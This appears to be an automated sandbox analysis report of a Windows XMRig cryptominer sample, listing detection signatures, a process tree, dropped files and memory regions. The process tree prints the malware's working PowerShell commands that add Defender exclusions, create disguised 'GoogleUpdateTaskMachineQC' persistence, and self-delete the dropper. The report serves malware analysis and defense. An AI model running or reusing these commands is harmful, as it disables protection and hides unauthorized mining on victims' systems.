Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1800s
  • max time network
    1795s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
  • Size 2.0MB
  • Sample240123-x6bvbafgem
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
    "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    PID:3596
  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3556
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4012
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4344
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1424
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3068
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:1600
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2416
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4100
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1936
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              3⤵
              • Drops file in Program Files directory
              PID:2840
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2944
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:5108
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3232
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:1172

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.3MB
                • SHA256 f42cf7e5684b07bfc2b2812d6306b99a026ecd906cdabe2bb36b0f1d344872da
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 9b0a00e9f86bd22cfc30ddfe399d7284f0895bb8b5e8faf4207caf63459a3a17
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 e67b8f3d0d4e55a603d85e9173ef54fbaa275648964205e24943cb85e8e3113f
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_4zeel1ux.04d.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4zeel1ux.04d.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/1936-135-0x00007FF777030000-0x00007FF777046000-memory.dmp

                memory/1936-128-0x00007FF777030000-0x00007FF777046000-memory.dmp

                memory/2416-83-0x00000239A1360000-0x00000239A1368000-memory.dmp

                memory/2416-78-0x00000239A1140000-0x00000239A11F5000-memory.dmp

                memory/2416-84-0x00000239A1390000-0x00000239A1396000-memory.dmp

                memory/2416-82-0x00000239A13B0000-0x00000239A13CA000-memory.dmp

                memory/2416-81-0x00000239A1350000-0x00000239A135A000-memory.dmp

                memory/2416-80-0x00000239A1370000-0x00000239A138C000-memory.dmp

                memory/2416-79-0x00000239A1200000-0x00000239A120A000-memory.dmp

                memory/2416-65-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/2416-77-0x00000239A1120000-0x00000239A113C000-memory.dmp

                memory/2416-85-0x00000239A13A0000-0x00000239A13AA000-memory.dmp

                memory/2416-86-0x0000023987D70000-0x0000023987D80000-memory.dmp

                memory/2416-89-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/2416-67-0x0000023987D70000-0x0000023987D80000-memory.dmp

                memory/2416-66-0x0000023987D70000-0x0000023987D80000-memory.dmp

                memory/3068-49-0x000001FCF4A90000-0x000001FCF4AA0000-memory.dmp

                memory/3068-54-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/3068-50-0x000001FCF4A90000-0x000001FCF4AA0000-memory.dmp

                memory/3068-48-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/3232-124-0x00007FF67B2B0000-0x00007FF67B4C1000-memory.dmp

                memory/3232-55-0x00007FF67B2B0000-0x00007FF67B4C1000-memory.dmp

                memory/3232-114-0x00007FF67B2B0000-0x00007FF67B4C1000-memory.dmp

                memory/3596-0-0x00007FF712FD0000-0x00007FF7131E1000-memory.dmp

                memory/3596-38-0x00007FF712FD0000-0x00007FF7131E1000-memory.dmp

                memory/4012-34-0x000001B039220000-0x000001B039230000-memory.dmp

                memory/4012-21-0x000001B039220000-0x000001B039230000-memory.dmp

                memory/4012-20-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/4012-22-0x000001B039220000-0x000001B039230000-memory.dmp

                memory/4012-33-0x000001B039220000-0x000001B039230000-memory.dmp

                memory/4012-36-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/4100-104-0x00007FF446A80000-0x00007FF446A90000-memory.dmp

                memory/4100-91-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/4100-103-0x0000029735EE0000-0x0000029735EF0000-memory.dmp

                memory/4100-115-0x0000029735EE0000-0x0000029735EF0000-memory.dmp

                memory/4100-117-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/4100-92-0x0000029735EE0000-0x0000029735EF0000-memory.dmp

                memory/4460-11-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/4460-18-0x00007FFE7D040000-0x00007FFE7DB01000-memory.dmp

                memory/4460-15-0x00000142BE410000-0x00000142BE420000-memory.dmp

                memory/4460-14-0x00000142BE410000-0x00000142BE420000-memory.dmp

                memory/4460-12-0x00000142BE410000-0x00000142BE420000-memory.dmp

                memory/4460-13-0x00000142BE410000-0x00000142BE420000-memory.dmp

                memory/4460-7-0x00000142BE490000-0x00000142BE4B2000-memory.dmp

                memory/5108-142-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-156-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-129-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-130-0x0000013181320000-0x0000013181340000-memory.dmp

                memory/5108-131-0x0000013181340000-0x0000013181360000-memory.dmp

                memory/5108-133-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-134-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-125-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-136-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-137-0x0000013181320000-0x0000013181340000-memory.dmp

                memory/5108-139-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-140-0x0000013181340000-0x0000013181360000-memory.dmp

                memory/5108-126-0x0000013180BE0000-0x0000013180C00000-memory.dmp

                memory/5108-144-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-146-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-148-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-150-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-152-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-154-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-127-0x0000013180E30000-0x0000013180E70000-memory.dmp

                memory/5108-158-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-160-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-162-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-164-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-166-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-168-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-170-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-172-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-174-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-176-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-178-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-180-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-182-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-184-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-186-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-188-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp

                memory/5108-190-0x00007FF7B2400000-0x00007FF7B2BF4000-memory.dmp